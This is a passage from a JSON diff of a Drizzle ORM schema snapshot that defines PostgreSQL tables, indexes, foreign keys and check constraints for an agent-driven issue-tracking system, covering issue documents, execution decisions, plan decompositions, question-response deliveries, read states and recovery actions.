"issue_create_idempotency_keys_company_key_uq": { + "name": "issue_create_idempotency_keys_company_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_create_idempotency_keys_issue_idx": { + "name": "issue_create_idempotency_keys_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_create_idempotency_keys_company_created_at_idx": { + "name": "issue_create_idempotency_keys_company_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_create_idempotency_keys_company_id_companies_id_fk": { + "name": "issue_create_idempotency_keys_company_id_companies_id_fk", + "tableFrom": "issue_create_idempotency_keys", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_create_idempotency_keys_issue_id_issues_id_fk": { + "name": "issue_create_idempotency_keys_issue_id_issues_id_fk", + "tableFrom": "issue_create_idempotency_keys", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_documents": { + "name": "issue_documents", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_documents_company_issue_key_uq": { + "name": "issue_documents_company_issue_key_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_documents_document_uq": { + "name": "issue_documents_document_uq", + "columns": [ + { + "expression": "document_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_documents_company_issue_updated_idx": { + "name": "issue_documents_company_issue_updated_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "updated_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_documents_company_id_companies_id_fk": { + "name": "issue_documents_company_id_companies_id_fk", + "tableFrom": "issue_documents", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_documents_issue_id_issues_id_fk": { + "name": "issue_documents_issue_id_issues_id_fk", + "tableFrom": "issue_documents", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_documents_document_id_documents_id_fk": { + "name": "issue_documents_document_id_documents_id_fk", + "tableFrom": "issue_documents", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_execution_decisions": { + "name": "issue_execution_decisions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "stage_id": { + "name": "stage_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "stage_type": { + "name": "stage_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_agent_id": { + "name": "actor_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "actor_user_id": { + "name": "actor_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "body": { + "name": "body", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_execution_decisions_company_issue_idx": { + "name": "issue_execution_decisions_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_execution_decisions_stage_idx": { + "name": "issue_execution_decisions_stage_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "stage_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_execution_decisions_company_id_companies_id_fk": { + "name": "issue_execution_decisions_company_id_companies_id_fk", + "tableFrom": "issue_execution_decisions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_execution_decisions_issue_id_issues_id_fk": { + "name": "issue_execution_decisions_issue_id_issues_id_fk", + "tableFrom": "issue_execution_decisions", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_execution_decisions_actor_agent_id_agents_id_fk": { + "name": "issue_execution_decisions_actor_agent_id_agents_id_fk", + "tableFrom": "issue_execution_decisions", + "columnsFrom": [ + "actor_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_execution_decisions", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_inbox_archives": { + "name": "issue_inbox_archives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "archived_by_actor_type": { + "name": "archived_by_actor_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'user'" + }, + "archived_by_agent_id": { + "name": "archived_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "archived_by_run_id": { + "name": "archived_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_inbox_archives_company_issue_idx": { + "name": "issue_inbox_archives_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_inbox_archives_company_user_idx": { + "name": "issue_inbox_archives_company_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_inbox_archives_company_issue_user_idx": { + "name": "issue_inbox_archives_company_issue_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_inbox_archives_company_id_companies_id_fk": { + "name": "issue_inbox_archives_company_id_companies_id_fk", + "tableFrom": "issue_inbox_archives", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_inbox_archives_issue_id_issues_id_fk": { + "name": "issue_inbox_archives_issue_id_issues_id_fk", + "tableFrom": "issue_inbox_archives", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_inbox_archives_archived_by_agent_id_agents_id_fk": { + "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk", + "tableFrom": "issue_inbox_archives", + "columnsFrom": [ + "archived_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_inbox_archives", + "columnsFrom": [ + "archived_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "issue_inbox_archives_archived_by_actor_type_check": { + "name": "issue_inbox_archives_archived_by_actor_type_check", + "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')" + } + }, + "isRLSEnabled": false + }, + "public.issue_labels": { + "name": "issue_labels", + "schema": "", + "columns": { + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "label_id": { + "name": "label_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_labels_issue_idx": { + "name": "issue_labels_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_labels_label_idx": { + "name": "issue_labels_label_idx", + "columns": [ + { + "expression": "label_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_labels_company_idx": { + "name": "issue_labels_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_labels_issue_id_issues_id_fk": { + "name": "issue_labels_issue_id_issues_id_fk", + "tableFrom": "issue_labels", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_labels_label_id_labels_id_fk": { + "name": "issue_labels_label_id_labels_id_fk", + "tableFrom": "issue_labels", + "columnsFrom": [ + "label_id" + ], + "tableTo": "labels", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_labels_company_id_companies_id_fk": { + "name": "issue_labels_company_id_companies_id_fk", + "tableFrom": "issue_labels", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": { + "issue_labels_pk": { + "name": "issue_labels_pk", + "columns": [ + "issue_id", + "label_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_plan_decompositions": { + "name": "issue_plan_decompositions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_issue_id": { + "name": "source_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "accepted_plan_revision_id": { + "name": "accepted_plan_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "accepted_interaction_id": { + "name": "accepted_interaction_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'in_flight'" + }, + "request_fingerprint": { + "name": "request_fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "requested_child_count": { + "name": "requested_child_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "requested_children": { + "name": "requested_children", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "child_issue_ids": { + "name": "child_issue_ids", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "owner_agent_id": { + "name": "owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_user_id": { + "name": "owner_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "owner_run_id": { + "name": "owner_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_plan_decompositions_company_source_status_idx": { + "name": "issue_plan_decompositions_company_source_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_plan_decompositions_active_owner_idx": { + "name": "issue_plan_decompositions_active_owner_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "owner_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'", + "concurrently": false + }, + "issue_plan_decompositions_source_revision_uq": { + "name": "issue_plan_decompositions_source_revision_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "accepted_plan_revision_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_plan_decompositions_company_id_companies_id_fk": { + "name": "issue_plan_decompositions_company_id_companies_id_fk", + "tableFrom": "issue_plan_decompositions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_plan_decompositions_source_issue_id_issues_id_fk": { + "name": "issue_plan_decompositions_source_issue_id_issues_id_fk", + "tableFrom": "issue_plan_decompositions", + "columnsFrom": [ + "source_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": { + "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk", + "tableFrom": "issue_plan_decompositions", + "columnsFrom": [ + "accepted_plan_revision_id" + ], + "tableTo": "document_revisions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": { + "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk", + "tableFrom": "issue_plan_decompositions", + "columnsFrom": [ + "accepted_interaction_id" + ], + "tableTo": "issue_thread_interactions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_plan_decompositions_owner_agent_id_agents_id_fk": { + "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk", + "tableFrom": "issue_plan_decompositions", + "columnsFrom": [ + "owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": { + "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_plan_decompositions", + "columnsFrom": [ + "owner_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_question_response_deliveries": { + "name": "issue_question_response_deliveries", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "interaction_id": { + "name": "interaction_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_run_id": { + "name": "source_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "target_run_id": { + "name": "target_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "target_turn_id": { + "name": "target_turn_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "correlation_id": { + "name": "correlation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "payload_sha256": { + "name": "payload_sha256", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "delivery_mode": { + "name": "delivery_mode", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attempt_count": { + "name": "attempt_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "error_count": { + "name": "error_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "last_attempt_at": { + "name": "last_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "acknowledged_at": { + "name": "acknowledged_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_error_code": { + "name": "last_error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_question_response_deliveries_interaction_uq": { + "name": "issue_question_response_deliveries_interaction_uq", + "columns": [ + { + "expression": "interaction_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_question_response_deliveries_correlation_uq": { + "name": "issue_question_response_deliveries_correlation_uq", + "columns": [ + { + "expression": "correlation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_question_response_deliveries_pending_idx": { + "name": "issue_question_response_deliveries_pending_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_question_response_deliveries_company_issue_idx": { + "name": "issue_question_response_deliveries_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_question_response_deliveries_company_id_companies_id_fk": { + "name": "issue_question_response_deliveries_company_id_companies_id_fk", + "tableFrom": "issue_question_response_deliveries", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_question_response_deliveries_issue_id_issues_id_fk": { + "name": "issue_question_response_deliveries_issue_id_issues_id_fk", + "tableFrom": "issue_question_response_deliveries", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_question_response_deliveries_interaction_id_issue_thread_interactions_id_fk": { + "name": "issue_question_response_deliveries_interaction_id_issue_thread_interactions_id_fk", + "tableFrom": "issue_question_response_deliveries", + "columnsFrom": [ + "interaction_id" + ], + "tableTo": "issue_thread_interactions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_question_response_deliveries_source_run_id_heartbeat_runs_id_fk": { + "name": "issue_question_response_deliveries_source_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_question_response_deliveries", + "columnsFrom": [ + "source_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_question_response_deliveries_target_run_id_heartbeat_runs_id_fk": { + "name": "issue_question_response_deliveries_target_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_question_response_deliveries", + "columnsFrom": [ + "target_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "issue_question_response_deliveries_status_check": { + "name": "issue_question_response_deliveries_status_check", + "value": "\"issue_question_response_deliveries\".\"status\" IN ('pending', 'delivering', 'delivered', 'fallback_queued', 'failed')" + }, + "issue_question_response_deliveries_mode_check": { + "name": "issue_question_response_deliveries_mode_check", + "value": "\"issue_question_response_deliveries\".\"delivery_mode\" IS NULL OR \"issue_question_response_deliveries\".\"delivery_mode\" IN ('steered', 'coalesced', 'wake_fallback')" + } + }, + "isRLSEnabled": false + }, + "public.issue_read_states": { + "name": "issue_read_states", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "last_read_at": { + "name": "last_read_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_read_states_company_issue_idx": { + "name": "issue_read_states_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_read_states_company_user_idx": { + "name": "issue_read_states_company_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_read_states_company_issue_user_idx": { + "name": "issue_read_states_company_issue_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_read_states_company_id_companies_id_fk": { + "name": "issue_read_states_company_id_companies_id_fk", + "tableFrom": "issue_read_states", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_read_states_issue_id_issues_id_fk": { + "name": "issue_read_states_issue_id_issues_id_fk", + "tableFrom": "issue_read_states", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_recovery_actions": { + "name": "issue_recovery_actions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_issue_id": { + "name": "source_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "recovery_issue_id": { + "name": "recovery_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "owner_type": { + "name": "owner_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'agent'" + }, + "owner_agent_id": { + "name": "owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "owner_user_id": { + "name": "owner_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "previous_owner_agent_id": { + "name": "previous_owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "return_owner_agent_id": { + "name": "return_owner_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "cause": { + "name": "cause", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fingerprint": { + "name": "fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "evidence": { + "name": "evidence", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "next_action": { + "name": "next_action", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "wake_policy": { + "name": "wake_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "monitor_policy": { + "name": "monitor_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "attempt_count": { + "name": "attempt_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "max_attempts": { + "name": "max_attempts", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "timeout_at": { + "name": "timeout_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_attempt_at": { + "name": "last_attempt_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + 